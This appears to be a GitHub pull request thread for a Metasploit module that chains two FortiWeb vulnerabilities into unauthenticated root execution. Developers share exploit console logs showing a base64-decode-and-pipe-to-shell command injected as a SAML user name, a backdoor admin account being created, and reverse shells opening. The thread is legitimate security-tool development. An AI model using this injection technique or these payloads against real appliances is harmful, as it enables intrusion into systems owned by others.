Connection: Upgrade
Upgrade: websocket


[+] Successfully connected to the CLI websocket
FortiWeb # 
[*] Running CLI command: config user saml-user
co
nfig user saml-user

FortiWeb (saml-user) # 
[*] Running CLI command: edit "`cat /tmp/Zg2v|base64 -d|sh`"
ed
it "`cat /tmp/Zg2v|base64 -d|sh`"

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set entityID http://zAVLHda
se
t entityID http://zAVLHda

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set service-path /jIKDbfmo
se
t service-path /jIKDbfmo

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set enforce-signing disable
se
t enforce-signing disable

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set slo-bind post
set slo-bind post

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set slo-path /TfqNiDUs
set slo-path /TfqNiDUs

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set sso-bind post
set sso-bind post

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: set sso-path /czKZ
set sso-path /czKZ

FortiWeb (`cat /tmp/Zg2v~b) # 
[*] Running CLI command: end
[+] Finished.
[*] Exploit completed, but no session was created.

@SafalKarkey
Copy link

SafalKarkey commented Nov 25, 2025

Seems to be giving false positive in my case. Says it has successfully created admin account, but manually entering the credentials results in authentication failure. (Version 7.4.8)

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
[+] New admin account successfully created: elvera:EYJmMqwq
[*] Logging in...
[-] Exploit aborted due to failure: unexpected-reply: No APSCOOKIE_FWEB returned

…oad in a new session, so we use a python stub to essentially call setsid. This has been tested to work on both 8.0.1 and 7.4.8. Teh payload cmd/unix/reverse_python isnot working as it previously was, so I am removing from the list of confirmed paylaods. The other two, cmd/unix/reverse_bash and cmd/unix/reverse_openssl work fine on both versions
@sfewer-r7
Copy link
Contributor Author

sfewer-r7 commented Nov 25, 2025

Hi @SafalKarkey , I have tested on 7.4.8 today and the auth bypass works as expected in my setup. I did run into a problem that 7.4.8 does not have the nohup command available, so payload execution was failing. Commit fa03ac8 fixes this, and has been confirmed to work on both 8.0.1 and 7.4.8:

msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
[+] New admin account successfully created: gia:jyhPNAqY
[*] Logging in...
[+] Successfully logged in as gia
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 9...
[*] Uploading bootstrap payload chunk 2 of 9...
[*] Uploading bootstrap payload chunk 3 of 9...
[*] Uploading bootstrap payload chunk 4 of 9...
[*] Uploading bootstrap payload chunk 5 of 9...
[*] Uploading bootstrap payload chunk 6 of 9...
[*] Uploading bootstrap payload chunk 7 of 9...
[*] Uploading bootstrap payload chunk 8 of 9...
[*] Uploading bootstrap payload chunk 9 of 9...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Command shell session 19 opened (192.168.86.122:4444 -> 192.168.86.203:62554) at 2025-11-25 10:46:45 +0000

id
uid=0(root) gid=0
uname -a
Linux FortiWeb 5.4.202 #1 SMP Thu Apr 3 23:39:32 PDT 2025 x86_64 GNU/Linux
cat /VERSION
7.4.8-B0694

I also improved the check routine in commit 8a054b7 which might help avoid false positives for the auth bypass.

@sfewer-r7
Copy link
Contributor Author

Hi @bwatters-r7 , that's unexpected. I think first steps would be to confirm the network setup (I saw in #6446. you had some network issues)

  • does the attacker machine have a suitable ingress firewall rule to allow incoming port 4444 connections.
  • I see your LHOST and RHOST are from a 10.* network. These are potentially on two separate subnets if the netmask is not for a class B. In the setup docs I specified a class C netmask. What does the CLI command show system interface port1 show? If you are intentionally on two different subnets a gateway may need to be configured.
  • If the above doesn't help, does Wireshark show any packets from the reverse shell coming in?

@bwatters-r7
Copy link
Contributor

@sfewer-r7 you're right.... ish?
I got it to work by having the FortiWeb appliance call back to an IP in its own subnet.

When I could not talk to the admin console from outside the subnet on the last PR, I projected competence on the developers because a firewall preventing anything from accessing the admin interface from outside the subnet is a pretty good idea, honestly. I just dropped a second interface on my msf host that was in the same subnet and it worked, so I assumed the device itself had a firewall to protect itself during setup. For the callback, it made no sense to prevent it from talking to anything outside its own subnet, so I assumed there was an issue with the exploit, since I could talk to it just fine.

After getting the callback on the interface in the same subnet without issue, I thought for a second and realized I followed the instructions without thinking, and the instructions assigned an IP, but no gateway.... No wonder it could not talk out of the local subnet. 🤣

[+] Finished.
[*] Command shell session 1 opened (10.5.132.121:4848 -> 10.5.132.243:11726) at 2025-11-25 07:28:55 -0600

id
uid=0(root) gid=0(root)

@bwatters-r7
Copy link
Contributor

@SafalKarkey did this help? I'd love to get this landed today before the Americans disappear for turkey, naps, and football.

@sfewer-r7
Copy link
Contributor Author

brilliant, thanks @bwatters-r7!

@bwatters-r7 bwatters-r7 merged commit e998b91 into rapid7:master Nov 25, 2025
39 of 46 checks passed
@bwatters-r7
Copy link
Contributor

Release Notes

Adds a new module chaining FortiWeb vulnerabilities CVE-20205-64446 and CVE-2025-58034 to gain unauthenticated code execution on a FortiWeb server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants